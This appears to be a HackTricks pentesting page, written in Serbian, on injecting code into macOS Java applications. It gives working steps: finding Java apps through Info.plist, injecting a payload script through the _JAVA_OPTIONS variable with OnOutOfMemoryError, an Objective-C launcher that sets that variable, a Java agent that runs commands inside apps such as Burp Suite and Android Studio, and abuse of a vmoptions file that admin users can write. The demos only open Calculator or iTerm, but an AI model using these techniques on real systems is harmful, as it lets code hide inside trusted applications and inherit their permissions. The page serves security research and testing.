# macOS Java aplikacije injekcija {{#include ../../../banners/hacktricks-training.md}} ## Enumeracija Pronađite Java aplikacije instalirane na vašem sistemu. Primećeno je da Java aplikacije u **Info.plist** sadrže neke java parametre koji sadrže string **`java.`**, tako da možete pretraživati za tim: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null # Full search sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA_OPTIONS Promenljiva okruženja **`_JAVA_OPTIONS`** može se koristiti za ubrizgavanje proizvoljnih java parametara u izvršavanje java kompajlirane aplikacije: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" ``` Da biste to izvršili kao novi proces, a ne kao dete trenutnog terminala, možete koristiti: ```objectivec #import // clang -fobjc-arc -framework Foundation invoker.m -o invoker int main(int argc, const char * argv[]) { @autoreleasepool { // Specify the file path and content NSString *filePath = @"/tmp/payload.sh"; NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2"; NSError *error = nil; // Write content to the file BOOL success = [content writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:&error]; if (!success) { NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]); return 1; } NSLog(@"File written successfully to %@", filePath); // Create a new task NSTask *task = [[NSTask alloc] init]; /// Set the task's launch path to use the 'open' command [task setLaunchPath:@"/usr/bin/open"]; // Arguments for the 'open' command, specifying the path to Android Studio [task setArguments:@[@"/Applications/Android Studio.app"]]; // Define custom environment variables NSDictionary *customEnvironment = @{ @"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh" }; // Get the current environment and merge it with custom variables NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]]; [environment addEntriesFromDictionary:customEnvironment]; // Set the task's environment [task setEnvironment:environment]; // Launch the task [task launch]; } return 0; } ``` Međutim, to će izazvati grešku na izvršnoj aplikaciji, drugi, suptilniji način je da se kreira java agent i koristi: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" # Or open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` > [!CAUTION] > Kreiranje agenta sa **drugom verzijom Jave** od aplikacije može uzrokovati pad izvršavanja i agenta i aplikacije Gde agent može biti: ```java:Agent.java import java.io.*; import java.lang.instrument.*; public class Agent { public static void premain(String args, Instrumentation inst) { try { String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" }; Runtime.getRuntime().exec(commands); } catch (Exception err) { err.printStackTrace(); } } } ``` Da biste kompajlirali agenta, pokrenite: ```bash javac Agent.java # Create Agent.class jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar ``` Sa `manifest.txt`: ``` Premain-Class: Agent Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` I zatim izvezite env promenljivu i pokrenite java aplikaciju kao: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" # Or open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` ## vmoptions datoteka Ova datoteka podržava specifikaciju **Java parametara** kada se Java izvršava. Možete koristiti neke od prethodnih trikova da promenite java parametre i **naterate proces da izvrši proizvoljne komande**.\ Štaviše, ova datoteka može takođe **uključivati druge** sa `include` direktorijumom, tako da možete promeniti i uključenu datoteku. Još više, neke Java aplikacije će **učitati više od jedne `vmoptions`** datoteke. Neke aplikacije kao što je Android Studio ukazuju u svom **izlazu gde traže** ove datoteke, kao: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions 2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions 2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions 2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions 2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` Ako to ne urade, možete lako proveriti pomoću: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` Napomena kako je zanimljivo da Android Studio u ovom primeru pokušava da učita datoteku **`/Applications/Android Studio.app.vmoptions`**, mesto gde svaki korisnik iz **`admin` grupe ima pristup za pisanje.** {{#include ../../../banners/hacktricks-training.md}}